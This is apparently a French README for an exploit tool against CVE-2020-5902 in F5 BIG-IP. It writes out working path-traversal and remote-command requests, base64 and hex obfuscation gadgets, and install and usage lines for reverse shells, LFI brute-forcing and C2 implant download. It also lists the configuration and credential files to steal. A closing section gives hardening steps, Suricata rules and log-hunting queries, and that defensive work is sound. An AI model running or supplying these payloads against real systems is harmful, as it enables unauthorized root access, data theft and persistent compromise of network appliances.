GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

┌──────────────────────────────────────────────────────────────────┐
│  Requête client                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Filtre de servlet Tomcat    │
             │  Voit : /tmui/login.jsp  ✓    │
             │  (point d'accès public → AUTORISER) │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Résolveur d'URL Tomcat      │
             │  Résout : /..;/ → /../        │
             │  Chemin final : /tmui/locallb/│
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (pas de vérification) │
             │  Lit des fichiers arbitraires en root│
             └───────────────────────────────┘

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Phase 1 : Reconnaissance
  └─ Reconnaissance de bannière TCP (empreinte HTTP/TLS)
  └─ Analyse du certificat SSL
  └─ Empreinte des en-têtes HTTP (Server, X-Powered-By, Set-Cookie)
  └─ Estimation de la version BIG-IP à partir de /etc/f5-release

Phase 2 : Vérification de la vulnérabilité
  └─ Itération sur 6 variantes de codage de traversée
  └─ Test sur 4 fichiers sentinelles connus lisibles
  └─ Confirmation que la sortie correspond aux indicateurs connus (root:x:0:0, BIG-IP, etc.)

Phase 3 : Exploitation
  ├─ Vecteur A : tmshCmd.jsp (RCE principal)
  │    └─ Commande obscurcie via gadgets base64 / hex-encode
  ├─ Vecteur B : fileRead.jsp + injection de commande dans le paramètre fileName
  │    └─ Commande OS injectée dans le paramètre fileName
  └─ Vecteur C : Empoisonnement des logs (injection User-Agent → lecture access_log)

Phase 4 : Post-exploitation (optionnel)
  ├─ Shell interactif (REPL de commande)
  ├─ Shell inverse (4 one-liners simultanés)
  ├─ Force brute LFI (30 chemins sensibles, parallèle)
  └─ Déploiement d'implant C2 (Sliver / Metasploit / personnalisé)

# Gadget 1 — Pipeline d'encodage/décodage Base64
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Évaluation printf hexadécimale
eval "$(printf '\x69\x64')"

git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

# 1. Vérification de vulnérabilité uniquement
python CVE-2020-5902.py 192.168.1.100

# 2. Port personnalisé + exécution d'une seule commande
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. Shell interactif
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. Force brute LFI (lit 30 chemins sensibles)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. Récupération de shell inverse
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. Déploiement d'un implant C2 (exemple Sliver)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Routage via Burp Suite pour inspection du trafic
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

# BIG-IP : restreindre l'accès à la gestion à une VLAN/plage IP dédiée
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

┌────────────────────────────────────────────────────────────────┐
│  ARCHITECTURE RECOMMANDÉE                                      │
│                                                                 │
│  Internet ──────► Pare-feu ──────► DMZ / Production           │
│                      │                                          │
│                      │  (REFUSER tout trafic vers ports de gestion)│
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (port 443)    │
│                 (MFA + VPN)         (VLAN de gestion uniquement)│
└────────────────────────────────────────────────────────────────┘

[ ] BIG-IP mis à jour vers une version corrigée
[ ] TMUI non exposé à Internet (vérifier avec Shodan/Censys)
[ ] VLAN de gestion séparée de la production
[ ] Verrouillage des ports Self IP configuré (Allow None ou Allow Defaults)
[ ] MFA appliquée sur l'accès à la gestion
[ ] Inventaire logiciel BIG-IP dans le système de gestion des actifs
[ ] Scan de vulnérabilité automatisé (Tenable/Qualys) inclut BIG-IP
[ ] Transfert de logs vers SIEM configuré (access_log, audit.log)
[ ] Segmentation réseau : un BIG-IP compromis ne peut pas atteindre les contrôleurs de domaine
[ ] Playbook de réponse aux incidents inclut le scénario de compromission d'équipement réseau

# Détection des tentatives de traversée de chemin (contournement par point-virgule)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Détection de la variante avec point-virgule encodé
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

# Rechercher les tentatives de traversée dans les logs d'accès BIG-IP
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# Rechercher les accès réussis aux endpoints vulnérables
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

/etc/passwd                  — collecte d'identifiants
/config/bigip.conf           — exfiltration de configuration VPN/routage
/config/bigip.license        — vol de clé de licence
/config/bigip_user.conf      — énumération des comptes administrateurs locaux
/root/.bash_history          — reconnaissance de commandes historiques